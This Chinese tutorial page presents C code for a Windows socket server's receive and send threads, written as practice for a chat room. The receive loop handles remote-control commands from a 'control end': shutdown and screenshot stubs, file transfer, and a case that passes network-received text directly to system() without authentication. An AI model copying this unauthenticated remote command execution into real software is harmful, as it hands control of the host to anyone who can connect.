專注電子技術(shù)學(xué)習(xí)與研究
當(dāng)前位置:單片機(jī)教程網(wǎng) >> MCU設(shè)計(jì)實(shí)例 >> 瀏覽文章

服務(wù)器端的收發(fā)線程函數(shù)

作者:佚名   來源:本站原創(chuàng)   點(diǎn)擊數(shù):  更新時(shí)間:2013年12月17日   【字體:


練習(xí)寫套接字通信程序時(shí)候?qū)懙囊欢未a,本來想寫個(gè)聊天室但寫來寫去進(jìn)度卡在界面上接節(jié)下來都是通信部分的代碼
因?yàn)橹皇窃囼?yàn)用所以都是用C寫的,等界面部分完工后會(huì)用類來封裝一下
因?yàn)楸救耍盼暮軤所以變量和函數(shù)的命名是具有中國(guó)特色的,求理解.不過我注釋的很詳細(xì)了
謹(jǐn)以此文紀(jì)念我那坑爹的編程自學(xué)生涯......................
 
#include "shujubao.h"
#include "stdlib.h"
//定義線程共享全局變量用來協(xié)調(diào)線程進(jìn)度
int M=0;    //指揮發(fā)送線程工作,為1則把fasjgd中的數(shù)據(jù)發(fā)送出去
struct SJGD fasjgd;  //數(shù)據(jù)發(fā)送完后把M置0
/////////////////////////////////////////////////////////////////////////////////////////
//接收線程函數(shù)
DWORD WINAPI JieXC (LPVOID jie)
{
 ////////////////////////////////////////
 SOCKET callsock=INVALID_SOCKET;
 callsock=(SOCKET)jie;
 char data[SZBAO];  //接收緩沖區(qū)
 struct SJGD sjgd; //標(biāo)準(zhǔn)數(shù)據(jù)包存放管道
    sjgd.sjcd=SZBAO;
 struct SJB sjb; //封包結(jié)構(gòu)體
 HANDLE File;  //文本句柄
 DWORD szfile;
 /////////////////////////////////////////////////
    while (1)
 {
  recv(callsock,data,SZBAO,0); //接收一個(gè)標(biāo)準(zhǔn)數(shù)據(jù)包錯(cuò)誤數(shù)據(jù)包丟棄不處理
        char_byte(data,&sjgd,1,SZBAO); //對(duì)緩沖區(qū)進(jìn)行強(qiáng)制類型轉(zhuǎn)換不轉(zhuǎn)換的話解包會(huì)出錯(cuò)
  ZeroMemory(data,SZBAO);  //清零接收緩沖區(qū)
        if(Jiebao(&sjgd,&sjb))  //如果是標(biāo)準(zhǔn)數(shù)據(jù)包的話就進(jìn)行功能判斷和處理
  {
          switch(sjb.data.msg_stoc.cmd)
    {
              case CMD_GUANGJI:
              //關(guān)機(jī)功能
              break;
              case CMD_CMD:
              //命令行功能
              system((char*)sjb.data.msg_stoc.shuju);
              break;
     case CMD_JIEPING:
              //截屏功能
     break;
     //////////////////////////////////////////////////////////////////////////////////////////
     case CMD_FTP:  //文件傳輸功能
              if(sjb.tou.sxid!=1) break;
     //以FTP包順序標(biāo)號(hào)為1的包的附加數(shù)據(jù)為文件名創(chuàng)建文件
              //File=CreateFile((char*)sjb.data.msg_stoc.shuju,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
              File=CreateFile("c:\\按鍵寶典.chm",GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
     //進(jìn)入文件接收循環(huán)
     while(sjb.tou.sxid!=0)
     {
                recv(callsock,data,SZBAO,0); //接收一個(gè)標(biāo)準(zhǔn)數(shù)據(jù)包錯(cuò)誤數(shù)據(jù)包丟棄不處理
                char_byte(data,&sjgd,1,SZBAO); //對(duì)緩沖區(qū)進(jìn)行強(qiáng)制類型轉(zhuǎn)換不轉(zhuǎn)換的話解包會(huì)出錯(cuò)
                if(Jiebao(&sjgd,&sjb))
    {
                 WriteFile(File,(char*)sjb.data.msg_stoc.shuju,sjb.data.msg_stoc.sjbcd,&szfile,NULL);
    }
     }
     CloseHandle(File);
     ////////////////////////////////////////////////////////////////
     char sz[]="文件已經(jīng)接收成功!";
     MoveMemory(fasjgd.sjgd,sz,sizeof(sz));
     fasjgd.sjcd=sizeof(sz);
              Fengbao(1,CMD_QQ,1,&fasjgd,&sjb);    //給控制端發(fā)一個(gè)文件接收成功消息數(shù)據(jù)包
     Fabao(&sjb,&fasjgd);
     M=1;
     /////////////////////////////////////////////////////////////////
     break;
     //////////////////////////////////////////////////////////////////////////////////////////////
    }
  }
 }
 /////////////////////////////////////////////////
 return 0;
}
//////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////
//發(fā)送線程函數(shù)
//工作流程是功能函數(shù)把各種數(shù)據(jù)包風(fēng)包好后發(fā)送到fasjgd并把M置1,發(fā)送線程開始發(fā)包成功后把M置0
DWORD WINAPI FaXC (LPVOID fa)
{   
 SOCKET callsock=INVALID_SOCKET;
 callsock=(SOCKET)fa;
 while(1)
 {
 if(M==1)
 {
   send(callsock,(char*)fasjgd.sjgd,fasjgd.sjcd,0);
   M=0;
 }
 }
 return 0;
}
///////////////////////////////////////////////////////////////////////////////////////////
 

關(guān)閉窗口

相關(guān)文章